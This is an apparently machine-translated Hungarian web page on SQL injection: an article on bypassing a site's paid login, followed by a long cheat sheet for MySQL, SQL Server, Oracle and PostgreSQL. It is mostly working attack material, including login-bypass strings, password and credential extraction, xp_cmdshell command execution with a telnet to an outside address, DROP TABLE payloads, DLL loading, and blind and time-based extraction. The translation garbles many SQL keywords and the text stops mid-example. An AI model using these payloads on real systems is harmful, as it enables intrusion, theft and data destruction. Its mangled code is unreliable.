Menü
Ingyenes
bejegyzés
itthon  /  Internet/ SQL Injekció kívül és belül. A megjelenítendő oszlopok meghatározása

SQL-injekció kívül és belül. A megjelenítendő oszlopok meghatározása

SQL-injekció elég jó lehetőség hogy egy hacker megszerezze
hozzáférést a szerverhez. És egy kis erőfeszítéssel ő
még mindig érti 🙂

Kódoló belül

Napjainkban az adatbázisokkal való munkavégzés támogatott
szinte minden programozási nyelv, ezek közé tartozik a BASIC, C ++, Java, PERL, PHP, Assembler és még a JavaScript is! És ezeket a programokat semmi másképpen nem nevezik DBMS-nek - adatbázis-kezelő rendszernek. Az adatbázisokat gyakran használják pénzügyi problémák megoldására,
könyvelés, személyzetszervezés, de az interneten találták meg alkalmazásukat.

Az adatbázisokat gyakran használják webes alkalmazások írásához. Használatuk a legmegfelelőbb felhasználói regisztrációs adatok, munkamenet-azonosítók tárolására, keresések szervezésére és egyéb, nagyobb feldolgozást igénylő feladatokra.
adatmennyiség. Az adatbázis eléréséhez szervertechnológiákat használnak: PHP, PERL, ASP stb. Itt kezdődik a móka. Amikor a szerveren van
minden javítás telepítve van, és a tűzfal a 80-as port kivételével minden portot blokkol, vagy ha bizonyos adatok eléréséhez hitelesítés szükséges, a hacker az SQL-injekciót használhatja a feltöréshez. Ennek a támadásnak az a lényege, hogy hibát használnak a csomópontban WEB technológiákés SQL. Az tény, hogy sokan weboldalak felhasználói adatok feldolgozásához speciális SQL adatbázis lekérdezés. Ennek a technikának a gondatlan használata egészen érdekes eredményekhez vezethet ...

SQL-injekció

A támadás magyarázatához képzeljük el, hogy felment az oldalra, hogy letöltsen egy nagyon fontos eszközt, és rémülten veszi észre, hogy ezt csak regisztrált felhasználó teheti meg, a regisztráció pedig természetesen pénzbe kerül 🙂 Nem akarod odaadni a utoljára megkeresett pénz, de a program nélkül megteheti! Ideje emlékezni, hogyan
adatbázisokhoz való hozzáférés SQL... Például egy felhasználónév és jelszó ellenőrzése PHP-ben így nézhet ki:

$ eredmény = mysql_db_query ($ db, "SELECT * FROM $ table WHERE felhasználó =" $ bejelentkezés "ÉS
pass = "$ jelszó" ");
$ sorok száma = mysql_num_rows ($ eredmény);
mysql_close ($ link);
if ($ sorok száma! = 0)
{
// HITELESÍTÉS OK
}
más
{
// HITELESÍTÉSI HIBA
}

Két megjegyzést tettem hozzá: "HITELESÍTÉS OK" - inkább kell
menj a kódhoz, amely akkor fut le, ha a jelszó és a bejelentkezés helyes. Egy másik "HITELESÍTÉSI HIBA" az a hely, ahol a kód leírásra kerül, amely végrehajtásra kerül, ha hibás. Ha kitölti az űrlapot, a kérés így fog kinézni: "http://www.server.com?login=user&password=31337", ahol a www.server.com a név
a szerver, amelyhez csatlakozni próbálunk. Megtaláltuk, amit kerestünk, ezért újra visszatérünk dolgozni SQL... Tehát, ha az engedélyezéshez meg kell adni egy felhasználónevet és jelszót, akkor a generált SQL a kérés így fog kinézni:

SELECT * FROM felhasználók WHERE login = "felhasználó" ÉS
jelszó = "31337"

Ez valami ilyesmit jelent: küldje vissza nekem a felhasználói adatbázis összes rekordját a "user" bejelentkezési névvel és a "31337" jelszóval. Ha létezik ilyen rekord, akkor a felhasználó regisztrálva van, de ha nem, akkor nem... De bizonyos körülmények között minden javítható. Ez azt a helyzetet jelenti, amikor az alkalmazás nem vagy nem teljesen ellenőrzi a továbbított adatok tartalmát a jelenlét szempontjából SQL utasítás. Ebben a példában két bejelentkezési és jelszómezőt hasonlítunk össze, de ha megadja a „31337 ′ AND email =” [e-mail védett]"(Idézőjelek nélkül), akkor a lekérdezés kissé eltérő lesz:

SELECT * FROM felhasználók WHERE login = "felhasználó" ÉS jelszó = "31337" ÉS
email = " [e-mail védett]"

És ha az e-mail mező létezik, akkor ez a feltétel is ellenőrzésre kerül. Ha felidézed a Boole-algebra alapjait, eszedbe jut, hogy az "és" művelet mellett van egy "vagy" is, és mivel ezek használatát támogatja az SQL, így
adjunk hozzá egy feltételt, amely mindig igazat ad vissza a leírt módon. Ehhez bejelentkezésként meg kell adnia a "felhasználó" VAGY 1 = 1- "jelet, ebben az esetben a kérés a következő formában jelenik meg:

SELECT * FROM felhasználók WHERE login = "felhasználó" VAGY 1 = 1-- "ÉS
jelszó = "31337"

Először is tudnia kell, hogy a "-" a kérés végét jelenti, és mindent, ami a "-" után következik.
nem kerül feldolgozásra! Úgy tűnik, mintha kérést nyújtottunk volna be:

SELECT * FROM felhasználók WHERE login = "felhasználó" VAGY 1 = 1

Amint láthatja, hozzáadtuk az "1 = 1" feltételt, ami azt jelenti, hogy a teszt feltétele a következő lesz: "ha a bejelentkezés felhasználó" vagy 1 = 1", de az 1 mindig egyenlő 1-gyel (az egyetlen kivétel lehet Dani Shepovalov aritmetikája :)). Hogy próbára tegye a gyanúnkat
beleütjük címsor"Http://www.server.com?login=user vagy 1 = 1— & jelszó = 31337". Ez oda vezet, hogy nem mindegy, hogy melyik bejelentkezést adtuk meg, hanem
főleg a jelszó! És a mátrixban vagyunk... ó, a rendszerben, és nyugodtan letölthetjük, amire szükségünk van.

De ez mind elméletben. A gyakorlatban nem tudjuk, hogyan alakul a kérés, milyen adatokat továbbítanak és milyen sorrendben. Ezért minden mezőben meg kell adni a "felhasználó" értéket VAGY 1 = 1- ". A beküldési űrlapon is ellenőriznie kell a rejtett mezőket. A HTML-ben ezek leírása: „ ". Ha vannak ilyenek, mentse el az oldalt, és módosítsa ezeknek a mezőknek az értékeit. A bennük lévő értékeket gyakran elfelejtik ellenőrizni az SQL utasítások jelenlétét. De ahhoz, hogy minden működjön, az űrlapon ("FORM" címke) az "ACTION" paraméterhez meg kell adnia a kérést feldolgozó szkript teljes elérési útját.

De az sem mindig ismert, hogy a kérés hogyan formálódik,
az előző példa a következő módokon alakítható ki:

SELECT * FROM felhasználók WHERE (login = "felhasználó" ÉS jelszó = "31337")
SELECT * FROM felhasználók WHERE login = "felhasználó" ÉS jelszó = "31337"
SELECT * FROM felhasználók WHERE bejelentkezés = felhasználó ÉS jelszó = 31337

Ebben az esetben a következő lehetőségeket próbálhatja ki:

VAGY 1 = 1-
"VAGY 1 = 1-
VAGY 1 = 1-
„VAGY” a „=” a
"VAGY" a "=" a
‘) VAGY (‘ a ’=’ a
VAGY „1” = „1”

Minden a szkript céljától és a programozótól függ. Mivel gyakori, hogy mindenki mindent a maga módján csinál, nagyon valószínű, hogy a programozó nem a legegyszerűbb lehetőséget választja. Ezért nem szabad azonnal
add fel, ha elutasítanak. Szükséges
próbáld meg minél többet nagy mennyiség lehetőségek ...

Jelszó felismerés

A jogosultság megkerülése nem rossz, de nagyon gyakran az Ön által használt lyuk bezárul, és minden, ami elérhető volt, elveszik.
Ez várható is, ha a programozó nem bolond.
idővel minden kiskaput befedik. Könnyen megszabadulhat az ilyen helyzetektől, ha előre gondoskodik erről. A helyes megoldás a jelszó kitalálása lehet
hitelesítési eredmények elemzése. Először megpróbáljuk kitalálni a jelszót, ehhez beírjuk a helyét:

‘VAGY jelszó>’ a

Ha azt válaszolják, hogy a felhatalmazás átment, akkor a jelszót
nem az "a" betűvel kezdődik, hanem a listán szereplő következő valamelyikével. Lépj tovább és cserélj
helyezze "a", következő "b", "c", "d", "e" ... és így tovább. amíg nem közlik velünk, hogy a jelszó nem megfelelő. Álljon meg ez a folyamat az "x" szimbólumnál, ebben az esetben két lehetőség jön létre a helyzet kialakítására, a jelszó megkeresésére, vagy a jelszó beolvasására ezen a szimbólumon. Az első opció ellenőrzéséhez írjuk a jelszó helyét:

‘VAGY jelszó =’ x

és ha elfogadják a jelszót és beengednek, akkor kitaláltad a jelszót! Nos, nem, akkor már ki kell választania a második karaktert,
pontosan ugyanaz a kezdetektől. Két karakter esetén ellenőrizze
neked ugyanaz kell. A végén kapsz egy jelszót, és ugyanúgy keresed a bejelentkezést 🙂
Ha a talált jelszó és bejelentkezési név nem felel meg Önnek, kereshet másokat. Ehhez el kell kezdenie az ellenőrzést a talált jelszó utolsó karakterétől. Tehát, ha a jelszó "xxx" volt, akkor ellenőrizni kell a jelszó meglétét
"xxy":

‘VAGY jelszó =’ xxx

hogy ne maradjon le több lehetőségről!

MS SQL Server

KISASSZONY SQL szerveráltalában lelet, ha a szükséges szűrés elmarad. Az SQL Injection sebezhetősége segítségével végrehajthatja
parancsokat egy távoli kiszolgálón az exec master..xp_cmdshell használatával. De ezt a konstrukciót használni
szükséges a "SELECT" művelet befejezése. Az SQL-ben az utasításokat pontosvessző választja el. Ezért Telneten keresztül csatlakozik néhány IP-hez, be kell írnia a jelszót / bejelentkezési helyet:

"; exec master..xp_cmdshell" telnet 192.168.0.1 "-

Az MS SQL Serverben van még néhány érdekes tulajdonságok, amellyel megtudhatja az adatbázisban tárolt bejelentkezési neveket és jelszavakat. Ehhez a hibakimenetet átirányítja egy tetszőleges szerverre és rajtuk keresztül
elemzésével megtudhatja a tábla nevét, a mezőket és azok típusait. Akkor lehet kérni

'UNION SELECT TOP 1 bejelentkezés FROM felhasználóktól—

(a bejelentkezés a bejelentkezést tartalmazó mező neve, a felhasználók pedig a tábla neve,
féltudósok a hibaelemzés folyamatában).

A válasz a következő lehetne:


Szintaktikai hiba az nvarchar érték konvertálásakor "(! LANG: admin" to a column of data type int. !}
/default.asp, 27. sor

Most már tudjuk, hogy van egy "admin" nevű felhasználó. Most megkapjuk a jelszavát:

'UNION SELECT TOP 1 jelszó FROM felhasználóktól, ahol login =' admin'-

Eredmény:

Microsoft OLE DB Provider for ODBC Drivers hiba "80040e07"
Szintaktikai hiba az nvarchar érték konvertálása során "(! LANG: xxx" to a column of data type int. !}
/tedault.asp, 27. sor

Most már tudjuk, hogy van egy "admin" felhasználó "xxx" jelszóval. Ezt biztonságosan lehet
használd és jelentkezz be a rendszerbe 😉

De sok más funkció is létezik az SQL-lel való munkához,
adatbázissal való munka során adatokat törölhet, módosíthat, beszúrhat saját, sőt még fájlokat is kezelhet, és dolgozhat a rendszerleíró adatbázissal.
Általában az SQL Server szabályok 🙂

Védelem

De mindez természetesen elkerülhető. Ehhez megteheti
használj szűrőket,
a gyártók biztosítják. Megtalálhatja saját megoldásait, például helyettesítheti az összes egyetlent
dupla idézőjel (ha van SQL egyetlen kérést használunk), vagy fordítva. Csak akkor engedélyezheti a betűk és a @ baki karakter használatát, ha be kell írni
email cím. És a gyöngyben is van egy csodálatos
a 🙂 idézet () függvény a DBI :: DBD modulban, amely sikeresen biztonságossá teszi lekérdezését SQL... Sok megoldás létezik, csak szükséged van rájuk
kihasznál. Különben minek akkor ez az egész...

Az SQL Injection Cheat Sheet célja, hogy összefoglalja a különféle típusú SQL-injekciós biztonsági rések technikai jellemzőit. A cikk az SQL-befecskendezés funkcióit mutatja be MySQL, Microsoft SQL Server, JÓSLATés PostgreSQL.

0. Bevezetés
Ebben a cikkben részletes információkat találhat technikai információ az SQL injekció különböző típusairól. Hasznos lehet az információbiztonság területén tapasztalt szakembereknek és kezdőknek egyaránt.

V jelenleg a csalólap csak a MySQL-hez, a Microsoft SQL Server-hez és az ORACLE-hoz és a PostgreSQL-hez néhány adatot tartalmaz. A szakaszok szintaxist, magyarázatot és injekciós példákat tartalmaznak.

Használt jelölés:
M (MySQL);
S (SQL Server);
O (Oracle);
P (PostgreSQL);
+ (esetleg más adatbázisokon);
* (különleges feltételek szükségesek).

1. Sor megjegyzések
A megjegyzések általában hasznosak a kérés egy részének figyelmen kívül hagyásához.
Szintaxis:
- (SM): DROP mintatábla; -
# (M): DROP mintatábla; #
Példa:
Felhasználónév: admin "-
Generált lekérdezés: SELECT * FROM tagok WHERE felhasználónév = "admin" - "AND jelszó =" jelszó "
Ez lehetővé teszi, hogy adminisztrátorként jelentkezzen be, figyelmen kívül hagyva a jelszóellenőrzést.

2. Megjegyzések letiltása
Segítségükkel figyelmen kívül hagyhatja a kérés egy részét, helyettesítheti a szóközöket, megkerülheti a feketelistákat, meghatározhatja az adatbázis verzióját.
Szintaxis:
/ * Megjegyzés * / (SM):
DROP / * megjegyzés * / mintatábla
DR / ** / OP / * traversal_black_list * / sampletable
SELECT / * space_replace * / jelszó / ** / FROM / ** / Tagok

/ *! MYSQL speciális SQL * / (M): SELECT / *! 32302 1/0, * / 1 FROM táblanév
Ez egy MySQL-specifikus megjegyzés szintaxis. Lehetővé teszi a MySQL verziójának észlelését. Ez a megjegyzés csak a MySQL-ben fog működni.
Példák:
azonosító: 10; DROP TABLE tagok / *
Figyelmen kívül hagyjuk a kérés többi részét, valamint egy soros megjegyzést.

ID: / *! 32302 10 * /
ugyanazt a választ kapja, mint az ID = 10 esetén, ha a MySQL verziója magasabb, mint 3.23.02

ID: / *! 32302 1/0, * /
Generált lekérdezés: SELECT / *! 32302 1/0, * / 1 FROM táblanév
Osztás 0-val hiba lép fel, ha a szerver MySQL verziója magasabb, mint 3.23.02

3. A kérések sorrendje
Lehetővé teszi egynél több kérés végrehajtását egyszerre. Ez az injekció bármely pontján hasznos.


Zöld - támogatott; fekete - nem támogatott; szürke - ismeretlen.
Szintaxis:
; (S): SELECT * FROM tagok; DROP tagok --
Egy kérés véget ért, a következő elkezdődött.
Példa:
ID: 10; DROP tagok -
Generált lekérdezés: SELECT * FROM termékek WHERE id = 10; DROP tagok --
Ez a lekérdezés egy normál lekérdezés után eldobja a tagtáblát.

4. Feltételes állítások
A megkeresésre a feltétel teljesülése esetén választ kapunk. Ez a vakinjekció egyik kulcspontja. Segítenek az egyszerű dolgok pontos ellenőrzésében is.
Szintaxis:
IF (feltétel, igaz rész, hamis rész) (M): KIVÁLASZT HA (1 = 1, "igaz", "hamis")
IF feltétel igaz-rész ELSE false-rész (S): IF (1 = 1) SELECT "igaz" ELSE SELECT "hamis"
IF feltétel THEN igaz-rész; ELSE false-part; VÉGE HA; VÉGE; (O): HA (1 = 1) THEN dbms_lock.sleep (3); ELSE dbms_lock.sleep (0); VÉGE HA; VÉGE;
SELECT CASE WHEN feltétel THEN true-part ELSE false-rész VÉGE; (P): ESET VÁLASZTÁSA, AMIKOR (1 = 1) MAJD "A" MÁS "B" VÉGE;
példa:
if ((felhasználó kiválasztása) = "sa" VAGY (felhasználó kiválasztása) = "dbo") válasszon 1-et, különben válassza az 1/0-t (S)
nullával való osztást dob, ha az aktuális felhasználó nem "sa" vagy "dbo".

5. Számok használata
A magic_quotes () és hasonló szűrők, köztük a WAF megkerülésére szolgál.
Szintaxis:
0xHEX_NUMBER (SM):
CHAR (0x66) (S)
SELECT 0x5045 (ez nem egy szám, hanem egy karakterlánc) (M)
SELECT 0x50 + 0x45 (ez most egy szám) (M)
Példák:
LOAD_FILE KIVÁLASZTÁSA (0x633A5C626F6F742E696E69) (M)
Megjeleníti a c: \ boot.ini fájl tartalmát

6. Karakterlánc összefűzése
A sorműveletek segíthetnek a szűrők megkerülésében vagy az adatbázis meghatározásában.
Szintaxis:
+ (S): SELECT bejelentkezés + "-" + jelszó a tagoktól
|| (* MO): SELECT bejelentkezés || "-" || jelszó a tagoktól
Akkor működik, ha a MySQL ANSI módban fut. Ellenkező esetben a MySQL nem fogadja el logikai operátorként, és 0-t ad vissza. Jobb, ha a CONCAT () függvényt használja a MySQL-ben.

CONCAT (str1, str2, str3, ...) (M): SELECT CONCAT (bejelentkezés, jelszó) a tagoktól

7. Sorok idézőjel nélkül
Számos módja van az idézőjelek használatának elkerülésére a lekérdezésben, például a CHAR () (MS) és a CONCAT () (M) használatával.
Szintaxis:
SELECT 0x457578 (M)

A MySQL-nek egyszerű módja van egy karakterlánc hexadecimálására:
SELECT CONCAT ("0x", HEX ("c: \\ boot.ini"))

A „KLM” karakterláncot adja vissza:
CONCAT KIVÁLASZTÁSA (CHAR (75), CHAR (76), CHAR (77)) (M)
CHAR (75) + CHAR (76) + CHAR (77) (S)
SELECT CHR (75) || CHR (76) || CHR (77) (O)
KIVÁLASZTÁS (CHaR (75) || CHaR (76) || CHaR (77)) (P)

8. Karakterláncok és számok átalakítása.
Szintaxis:
ASCII () (SMP): SELECT ASCII ("a")
A bal szélső karakter ASCII-kódját adja vissza. A funkció vakinjekciókhoz használható.

CHAR () (SM): KIVÁLASZTÁS CHAR (64)
Lefordítja az ASCII kódot a megfelelő karakterre.

9. UNION operátor
Az UNION operátorral lekérdezhet táblák metszéspontjairól. Alapvetően olyan lekérdezést küldhet, amely egy másik táblából ad vissza értéket.
Példa:
SELECT fejléc, txt FROM hírek UNION ALL SELECT név, pass FROM tagok
Ez egyesíti a hírek és a tagok táblázatának eredményeit.

10. Hitelesítés bypass (SMO+)
Példák:
admin "-
rendszergazda "#
rendszergazda "/ *
"vagy 1 = 1--
"vagy 1 = 1 #
"vagy 1 = 1 / *
") vagy" 1 "=" 1--
") vagy (" 1 "=" 1--

11. Kerülje ki a hitelesítést az MD5 használatával
Ha az alkalmazás először a felhasználónevet, majd a jelszó md5 hash-ét hasonlítja össze, akkor további trükkökre van szükség a hitelesítés megkerüléséhez. Az eredményeket kombinálhatja egy ismert jelszóval és annak hash-ével.
Példa (MSP):
Felhasználónév: admin
Jelszó: 1234 "ÉS 1 = 0 UNION ALL SELECT" admin ","
= MD5 (1234)

12. Hiba alapú
12.1 Oszlopok meghatározása HAVING BY (S) segítségével
Példa:
Ugyanabban a sorrendben
"1 = 1 -
"GROUP BY table.columnfromerror1 HAVING 1 = 1 -
"GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1 = 1 -
"GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror3 HAVING 1 = 1 -
…………….
Folytassa mindaddig, amíg el nem éri a hibákat.

12.2 Az oszlopok számának meghatározása ORDER BY (MSO +) segítségével
Az oszlopok számának megkeresése az ORDER BY paranccsal az UNION injekció segítségével felgyorsítható.
MEGRENDELÉS 1---
MEGRENDELÉS 2---
MEGRENDELÉS 3-ig
………………..
Folytassa, amíg hibaüzenetet nem kap. Ez jelzi az oszlopok számát.

13. Adattípus meghatározása
Mindig az UNION-t használja az ALL-hoz.
A táblázat szükségtelen bejegyzéseinek eltávolításához használja a -1 vagy not billentyűt meglévő értékeket a lekérdezés elején (ha az injekció a WHERE paraméterben van). Ez akkor fontos, ha egyszerre csak egy értéket tud lekérni.
Használja a NULL értéket az UNION injekcióban ahelyett, hogy megpróbálna kitalálni egy karakterláncot, dátumot, számot stb. De legyen óvatos a vakinjekcióval, mint összetévesztheti a DB hibáját és magát az alkalmazást. Egyes nyelvek, például az ASP.NET, hibát adnak NULL érték használatakor (mivel a fejlesztők nem számítottak arra, hogy null értéket fognak látni a felhasználónév mezőben)
Példák:
"szakszervezet kiválasztása összeg (oszlop keresése) a felhasználóktól -- (S):
Ha nem kap hibaüzenetet, akkor az oszlop numerikus.

SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, konvertálás (kép, 1), null, null, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL -
Használhatja a CAST () vagy a CONVERT ()

11223344) UNION SELECT NULL, NULL, NULL, NULL WHERE 1 = 2 ---
Ha nincs hiba, akkor a szintaxis helyes, pl. az MS SQL Server használja.

11223344) UNION SELECT 1, NULL, NULL, NULL WHERE 1 = 2 ---
Ha nincs hiba, akkor az első oszlop egy szám.

11223344) UNION SELECT 1,2, NULL, NULL WHERE 1 = 2 -
Ha hiba jelenik meg, akkor a második oszlop nem szám.

11223344) UNION SELECT 1, '2', NULL, NULL WHERE 1 = 2 ---
Ha nincs hiba, akkor a második oszlop egy sor.
……………..

14. Egyszerű beillesztés (MSO+)
Példa:
"; beilleszteni a felhasználókba értékeket (1," hax0r "," coolpass ", 9) / *

15. Információgyűjtés
Szintaxis:
@@ verzió (MS)
Megnézheti a DB verziót és további részleteket.
Példa:
INSERT INTO tagok (azonosító, felhasználó, belépő) ÉRTÉKEK (1, "" + SUBSTRING (@@ verzió, 1,10), 10)

16. Komplex betét (S)
Lehetővé teszi egy fájl tartalmának beszúrását egy táblázatba. Ha nem ismeri a webalkalmazás belső elérési útját, elolvashatja az IIS metabázisát (csak IIS 6).
Szintaxis:
fájl (% systemroot% \ system32 \ inetsrv \ MetaBase.xml)
Akkor megtalálod benne az alkalmazási útvonalakat.
Példa:
1. Hozzon létre foo táblát (varchar (8000) típusú karakterlánc)
2. Illessze be a „c: \ inetpub \ wwwroot \ login.asp” fájl tartalmát a foo táblába
3. Dobja el az ideiglenes táblát, és ismételje meg egy másik fájllal.

17. BCP (S)
Leírja szöveges fájl... Ehhez hitelesítő adatok szükségesek.
Példa:
bcp "SELECT * FROM test..foo" lekérdezés c: \ inetpub \ wwwroot \ runcommand.asp -c -Slocalhost -Usa -Pfoobar

18.VBS, WSH az SQL Serverben (S)
Használhat VBS, WSH szkripteket az SQL Serverben.
Példa:
Felhasználónév: "; deklarálja @o int exec sp_oacreate" wscript.shell ", @o out exec sp_oamethod @o," futtassa ", NULL", notepad.exe "-

19. Rendszerparancsok végrehajtása (S)
Jól ismert trükk, a funkció alapértelmezés szerint le van tiltva az SQL Server 2005-ben. Rendszergazdai jogokra van szükség.
Példa:
EXEC master.dbo.xp_cmdshell "cmd.exe dir c:"
EXEC master.dbo.xp_cmdshell "ping"

20. Speciális táblák az SQL Serverben (S)
Példák:
Hibaüzenetek: master..sysmessages
Kapcsolt szerverek: master..sysservers
Jelszó SQL Server 2000: masters..sysxlogins
Jelszó SQL Server 2005: sys.sql_logins

21. Számos tárolt eljárás az SQL Server (S) számára
Szintaxis:
Cmd végrehajtás (xp_cmdshell)
Registry Stuff (xp_regread):
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
Szolgáltatások kezelése (xp_servicecontrol)
Média (xp_availablemedia)
ODBC-források (xp_enumdsn)
Bejelentkezési mód (xp_loginconfig)
Cab-fájlok létrehozása (xp_makecab)
Domain felsorolása (xp_ntsec_enumdomains)
Process Killing (PID szükséges) (xp_terminate_process)
Új eljárás hozzáadása (sp_addextendedproc)
Szövegfájl írása UNC-be vagy belső elérési útra (sp_makewebtask)
Példák:
exec xp_regread HKEY_LOCAL_MACHINE, "SYSTEM \ CurrentControlSet \ Services \ lanmanserver \ parameters", "nullsessionshares"
exec xp_regenumvalues ​​​​HKEY_LOCAL_MACHINE, "SYSTEM \ CurrentControlSet \ Services \ snmp \ parameters \ validcommunities"
sp_addextendedproc 'xp_webszerver', 'c: \ temp \ x.dll'
exec xp_webszerver

22. MSSQL tömeges megjegyzések
Példák:
SELECT * FROM master..sysprocesses / * WHERE [e-mail védett]@ SPID * /
NYILATKOZAT @eredmény int; EXEC @eredmény = xp_cmdshell "dir * .exe"; IF (@eredmény = 0) SELECT 0 ELSE SELECT 1/0
HOST_NAME ()
IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)
INSERT tbl EXEC master..xp_cmdshell OSQL / Q "DBCC SHOWCONTIG"
OPENROWSET (Transact-SQL) - http://msdn2.microsoft.com/en-us/library/ms190312.aspx

23. SQL injekció LIMIT (M) lekérdezésekben
Példa:
SELECT id, termék FROM test.test LIMIT 0,0 UNION ALL SELECT 1, "x" / *, 10;
A LIMIT utasítás megkerüléséhez használhatja az UNION-t vagy a megjegyzést.

24. Az SQL Server (S) leállítása
Példa:
"; Leállitás -

25. Az xp_cmdshell engedélyezése az SQL Server 2005 rendszerben
Szintaxis:
Alapértelmezés szerint az xp_cmdshell és néhány más potenciálisan veszélyes funkció le van tiltva az SQL Server 2005-ben. Rendszergazdaként engedélyezheti őket.
EXEC sp_configure "show speciális beállítások", 1
ÚJRAKONFIGURÁLÁS
EXEC sp_configure "xp_cmdshell", 1
ÚJRAKONFIGURÁLÁS

26. Keresés az adatbázis-struktúrában az SQL Serverben (S)
Példák:
SELECT név FROM sysobjects WHERE xtype = "U"

SELECT név FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = "táblanév az oszlopnevekhez")
Oszlopcímek lekérése

27. Mozgó rekordok (S)
Példák:
... WHERE felhasználók NINCS BELÉPÉS ("Első felhasználó", "Második felhasználó")
Használja a WHERE-t a NOT IN vagy NOT EXIST elemmel

A TOP 1 név KIVÁLASZTÁSA tagoktól, ahol NEM LÉTEZIK (SELECT TOP 0 név A tagoktól)

SELECT * FROM Product WHERE ID = 2 ÉS 1 = CAST ((Select p.name from (SELECT (SELECT COUNT (i.id) AS rid FROM sysobjects i WHERE i.id)<=o.id)
AS x, név a sysobjects-ből o) mint p ahol p.x = 3) mint int

Válassza ki a p.nevet a (SELECT (SELECT COUNT (i.id) AS rid FROM sysobjects i WHERE xtype = "U" és i.id) közül<=o.id) AS x, name from sysobjects o WHERE o.xtype = "U") as p where p.x=21

28. Gyors módszer az adatok kinyerésére az SQL Server (S) hibaalapú SQL-injekciójából
"; BEJELENTÉS BEÁLLÍTÁSA @rt varchar (8000) SET @ rd =": "KIVÁLASZTÁS @ [e-mail védett]+ "" + név FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = "TAGOK") AND name> @rd SELECT @rd AS rd a TMP_SYS_TMP végére; -

29. Keresés az adatbázis-struktúrában MySQL-ben (M)
Példák:
SELECT táblanév FROM információs_séma.táblák WHERE table_schema = "táblanév"
Egyéni táblázatok lekérése

SELECT táblanév, oszlopnév FROM információs_séma.oszlopok WHERE táblázat_séma = "táblanév"
Oszlopcímek lekérése

30. Keresés az adatbázis-struktúrában az Oracle-ben (O)
Példák:
SELECT * FROM all_tables WHERE OWNER = "ADATBÁZIS_NEVE"
Egyéni táblázatok lekérése

SELECT * FROM all_col_comments WHERE TABLE_NAME = "TABLE"
Oszlopcímek lekérése

31. Vak injekció
Egy minőségi alkalmazásban nem láthat hibaüzeneteket. Nem fogja tudni használni az UNION operátort és a hiba alapú támadásokat. Az adatok lekéréséhez vak SQL injekciót kell használnia. Kétféle vakinjekció létezik.
Sima vakinjekció: Az oldalon nem láthatja a kérések eredményét, de a válasz vagy a HTTP állapot alapján meghatározhatja az eredményt.
Teljesen vak befecskendezés: Semmiféle különbséget nem fog látni a kimenetben.
Normál vakinjekcióknál használhatunk IF és WHERE utasításokat, teljesen vak injekcióknál néhány várakozási funkciót kell használni és a válaszidőket össze kell hasonlítani. Ehhez használhatja a WAIT FOR DELAY ‘0: 0: 10’ értéket az SQL Serverben, a BENCHMARK () és a sleep (10) beállítást a MySQL-ben, a pg_sleep (10) beállítást a PostgreSQL-ben.
Példa:
Ez a példa az SQL Server Blind Injection valós kiaknázásán alapul.

TRUE: SELECT ID, Username, Email FROM WHERE ID = 1 ÉS ISNULL (ASCII (SUBSTRING ((SELECT TOP 1 name FROM sysObjects WHERE xtYpe = 0x55 AND name NOT IN (SELECT TOP 0 name FROM sysObjects WHERE xtYpe)), = 01x55 , 1)), 0)> 78--

FALSE: SELECT ID, Username, Email FROM WHERE ID = 1 ÉS ISNULL (ASCII (SUBSTRING ((SELECT TOP 1 name FROM sysObjects WHERE xtYpe = 0x55 AND name NOT IN (SELECT TOP 0 name FROM sysObjects WHERE xtYpe)), = 01x55 , 1)), 0)> 103--

FALSE: SELECT ID, Username, Email FROM WHERE ID = 1 ÉS ISNULL (ASCII (SUBSTRING ((SELECT TOP 1 name FROM sysObjects WHERE xtYpe = 0x55 AND name NOT IN (SELECT TOP 0 name FROM sysObjects WHERE xtYpe)), = 01x55 , 1)), 0)> 89--

FALSE: SELECT ID, Username, Email FROM WHERE ID = 1 ÉS ISNULL (ASCII (SUBSTRING ((SELECT TOP 1 name FROM sysObjects WHERE xtYpe = 0x55 AND name NOT IN (SELECT TOP 0 name FROM sysObjects WHERE xtYpe)), = 01x55 , 1)), 0)> 83--

TRUE: SELECT ID, Username, Email FROM WHERE ID = 1 ÉS ISNULL (ASCII (SUBSTRING ((SELECT TOP 1 name FROM sysObjects WHERE xtYpe = 0x55 AND name NOT IN (SELECT TOP 0 name FROM sysObjects WHERE xtYpe)), = 01x55 , 1)), 0)> 79--

FALSE: SELECT ID, Username, Email FROM WHERE ID = 1 ÉS ISNULL (ASCII (SUBSTRING ((SELECT TOP 1 name FROM sysObjects WHERE xtYpe = 0x55 AND name NOT IN (SELECT TOP 0 name FROM sysObjects WHERE xtYpe)), = 01x55 , 1)), 0)> 80--

Az utolsó két lekérdezés alapján biztosan tudjuk, hogy az ASCII első karakterének értéke 80. Tehát az első karakter a `P`. Így megtudhatjuk a táblázatok nevét és azok tartalmát. Egy másik módszer az adatok bitenkénti olvasása.

32. Teljesen vak injekció
Ezt a módszert csak valóban vak injekcióhoz használja. Legyen óvatos a késleltetéssel.
Szintaxis:
VÁRJON KÉSLELTETÉSRE "idő" (S)
A funkció egyszerűen vár a megadott ideig, anélkül, hogy betöltené a processzort.
Példák:
if (felhasználó kiválasztása) = "sa" várja a késleltetést "0: 0: 10"
ProductID = 1; várjon a késleltetésre "0: 0: 10" -
ProductID = 1); várjon a késleltetésre "0: 0: 10" -
ProductID = 1 "; várjon késleltetésre" 0: 0: 10 "-
ProductID = 1 "); várjon késleltetésre" 0: 0: 10 "-
Termékazonosító = 1)); várjon a „0: 0: 10” késésre -
ProductID = 1 ")); várjon késleltetésre" 0: 0: 10 "-
Szintaxis:
BENCHMARK (hányszor tegye ezt) (M)
Példa:
IF EXISTS (SELECT * FROM username WHERE felhasználónév = "root") BENCHMARK (1000000000, MD5 (1))
Ellenőrizzük a root felhasználó jelenlétét.

IF (SELECT * FROM bejelentkezés) BENCHMARK (1000000, MD5 (1))
Táblázat keresése a MySQL-ben
Szintaxis:
pg_sleep (másodperc) (P)
Aludjon a megadott másodpercekig.

alvás (másodperc) (M)
aludni a megadott másodpercig.

bms_pipe.receive_message (O)
aludni a megadott másodpercig.
Példa:
